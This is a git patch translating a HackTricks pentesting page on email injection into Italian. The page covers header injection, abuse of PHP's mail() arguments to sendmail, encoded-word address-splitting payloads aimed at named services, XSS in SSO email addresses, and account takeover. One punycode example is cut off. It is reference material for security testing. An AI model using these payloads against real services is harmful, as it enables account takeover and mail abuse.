From ccea4e067e00fa47c81d76ff288f727d28f47f2d Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 19 Aug 2024 15:46:13 +0000 Subject: [PATCH] Translated ['pentesting-web/email-injections.md', 'todo/emails-vulns.md' --- SUMMARY.md | 1 - pentesting-web/email-injections.md | 97 ++++++++++++++++++++++++------ 2 files changed, 80 insertions(+), 18 deletions(-) diff --git a/SUMMARY.md b/SUMMARY.md index 9ae9983a4..11c0f5734 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -840,7 +840,6 @@ * [Burp Suite](todo/burp-suite.md) * [Other Web Tricks](todo/other-web-tricks.md) * [Interesting HTTP](todo/interesting-http.md) -* [Emails Vulnerabilities](todo/emails-vulns.md) * [Android Forensics](todo/android-forensics.md) * [TR-069](todo/tr-069.md) * [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md) diff --git a/pentesting-web/email-injections.md b/pentesting-web/email-injections.md index 8ea234854..31fb2eaaf 100644 --- a/pentesting-web/email-injections.md +++ b/pentesting-web/email-injections.md @@ -3,14 +3,14 @@
\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** comunitari **più avanzati** al mondo.\ +Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ Accedi oggi: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %} {% hint style="success" %} -Impara e pratica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Impara e pratica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Impara e pratica Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -37,7 +37,7 @@ From:sender@domain.com%0ATo:attacker@domain.com ``` Il messaggio verrà inviato al destinatario originale e all'account dell'attaccante. -### Inietta l'argomento dell'oggetto +### Inject Subject argument ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` @@ -69,7 +69,7 @@ Parameter #4 [ $additional_parameters ] Questa sezione si baserà su **come abusare di questo parametro supponendo che un attaccante lo controlli**. -Questo parametro verrà aggiunto alla riga di comando che PHP utilizzerà per invocare il binario sendmail. Tuttavia, sarà sanitizzato con la funzione `escapeshellcmd($additional_parameters)`. +Questo parametro verrà aggiunto alla riga di comando che PHP utilizzerà per invocare il binario sendmail. Tuttavia, verrà sanitizzato con la funzione `escapeshellcmd($additional_parameters)`. Un attaccante può **iniettare parametri estratti per sendmail** in questo caso. @@ -85,7 +85,11 @@ Ecco alcuni esempi di diverse pagine man del comando/interfaccia sendmail: A seconda dell'**origine del binario sendmail**, sono state scoperte diverse opzioni per abusarne e **leakare file o persino eseguire comandi arbitrari**. Controlla come in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) -## Iniezione nel nome dell'email +## Iniettare nel nome dell'email + +{% hint style="danger" %} +Nota che se riesci a creare un account in un servizio con un nome di dominio arbitrario (come Github, Gitlab, CloudFlare Zero trust...) e verificarlo ricevendo l'email di verifica nel tuo indirizzo email, potresti essere in grado di accedere a posizioni sensibili dell'azienda vittima +{% endhint %} ### Parti ignorate di un'email @@ -93,7 +97,7 @@ I simboli: **+, -** e **{}** in rare occasioni possono essere usati per il taggi * E.g. john.doe+intigriti@example.com → john.doe@example.com -**Commenti tra parentesi ()** all'inizio o alla fine saranno anch'essi ignorati +**Commenti tra parentesi ()** all'inizio o alla fine verranno anch'essi ignorati * E.g. john.doe(intigriti)@example.com → john.doe@example.com @@ -112,28 +116,87 @@ Puoi anche usare IP come nomi di dominio tra parentesi quadre: * john.doe@\[127.0.0.1] * john.doe@\[IPv6:2001:db8::1] -### Altre vulnerabilità +### Codifica dell'email + +Come spiegato in [**questa ricerca**](https://portswigger.net/research/splitting-the-email-atom), i nomi delle email possono anche contenere caratteri codificati: + +* **Overflow PHP 256**: La funzione PHP `chr` continuerà ad aggiungere 256 a un carattere fino a diventare positivo e poi eseguire l'operazione `%256`. +* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @` + +{% hint style="success" %} +L'obiettivo di questo trucco è terminare con un'iniezione come `RCPT TO:<"collab@psres.net>collab"@example.com>`\ +che invierà l'email di verifica a un indirizzo email diverso da quello previsto (pertanto per introdurre un altro indirizzo email all'interno del nome dell'email e rompere la sintassi durante l'invio dell'email) +{% endhint %} + +Diverse codifiche: +```bash +# Format +=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com + +# =? -> Start of encode +# utf-8 -> encoding used +# ? -> separator +# q -> type of encoding +# ? -> separator +# =41=42=43 -> Hex encoded data +# ?= end of encoding + +# Other encodings, same example: +# iso-8859-1 +=?iso-8859-1?q?=61=62=63?=hi@example.com +# utf-8 +=?utf-8?q?=61=62=63?=hi@example.com +# utf-7 +=?utf-7?q??=hi@example.com +# q encoding + utf-7 +=?utf-7?q?&=41?=hi@example.com +# base64 +=?utf-8?b?QUJD?=hi@example.com +# bas64 + utf-7 +=?utf-7?q??=hi@example.com +#punycode +x@xn--svg/-9x6 → x@` codificato come `=3e` e `null` come `=00` +* Invierà l'email di verifica a `collab@psres.net` +* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` +* Stesso trucco di prima ma aggiungendo una normale virgolette all'inizio e la virgolette codificata `=22` prima dell'`@` codificato e poi iniziando e chiudendo alcune virgolette prima della prossima email per correggere la sintassi utilizzata internamente da Zendesk +* Invierà l'email di verifica a `collab@psres.net` +* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` +* Nota l'uso dell'underscore come spazio per separare l'indirizzo +* Invierà l'email di verifica a `collab@psres.net` +* Punycode: Utilizzando Punycode è stato possibile iniettare un tag `) -## SSO di terze parti +## Terze parti SSO ### XSS -Alcuni servizi come **github** o **salesforce** ti consentono di creare un **indirizzo email con payload XSS su di esso**. Se puoi **utilizzare questi fornitori per accedere ad altri servizi** e questi servizi **non sanitizzano** correttamente l'email, potresti causare **XSS**. +Alcuni servizi come **github** o **salesforce** ti permettono di creare un **indirizzo email con payload XSS su di esso**. Se puoi **utilizzare questi fornitori per accedere ad altri servizi** e questi servizi **non stanno sanitizzando** correttamente l'email, potresti causare **XSS**. ### Account-Takeover Se un **servizio SSO** ti consente di **creare un account senza verificare l'indirizzo email fornito** (come **salesforce**) e poi puoi utilizzare quell'account per **accedere a un servizio diverso** che **si fida** di salesforce, potresti accedere a qualsiasi account.\ _Nota che salesforce indica se l'email fornita è stata o meno verificata, ma l'applicazione dovrebbe tenere conto di queste informazioni._ -## Rispondi a +## Reply-To Puoi inviare un'email utilizzando _**From: company.com**_ e _**Replay-To: attacker.com**_ e se viene inviata una **risposta automatica** a causa dell'email inviata **da** un **indirizzo interno**, l'**attaccante** potrebbe essere in grado di **ricevere** quella **risposta**. -## Tasso di Hard Bounce +## Hard Bounce Rate -Alcuni servizi, come AWS, implementano una soglia nota come **Tasso di Hard Bounce**, tipicamente impostata al 10%. Questa è una metrica critica, specialmente per i servizi di consegna email. Quando questo tasso viene superato, il servizio, come il servizio email di AWS, potrebbe essere sospeso o bloccato. +Alcuni servizi, come AWS, implementano una soglia nota come **Hard Bounce Rate**, tipicamente impostata al 10%. Questo è un indicatore critico, specialmente per i servizi di consegna email. Quando questa soglia viene superata, il servizio, come il servizio email di AWS, potrebbe essere sospeso o bloccato. Un **hard bounce** si riferisce a un'**email** che è stata restituita al mittente perché l'indirizzo del destinatario è invalido o inesistente. Questo potrebbe verificarsi per vari motivi, come l'**email** inviata a un indirizzo non esistente, un dominio che non è reale, o il rifiuto del server del destinatario di accettare **email**. @@ -141,7 +204,7 @@ Nel contesto di AWS, se invii 1000 email e 100 di esse risultano in hard bounce È cruciale mantenere un basso tasso di hard bounce per garantire un servizio email ininterrotto e mantenere la reputazione del mittente. Monitorare e gestire la qualità degli indirizzi email nelle tue liste di distribuzione può aiutare significativamente a raggiungere questo obiettivo. -Per informazioni più dettagliate, puoi consultare la documentazione ufficiale di AWS sulla gestione dei bounce e dei reclami in [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). +Per informazioni più dettagliate, puoi fare riferimento alla documentazione ufficiale di AWS sulla gestione dei bounce e dei reclami [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). ## Riferimenti @@ -151,8 +214,8 @@ Per informazioni più dettagliate, puoi consultare la documentazione ufficiale d * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0) {% hint style="success" %} -Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Impara e pratica Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -168,7 +231,7 @@ Impara e pratica il hacking GCP:
\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** del mondo.\ +Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della **comunità più avanzati** al mondo.\ Ottieni accesso oggi: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}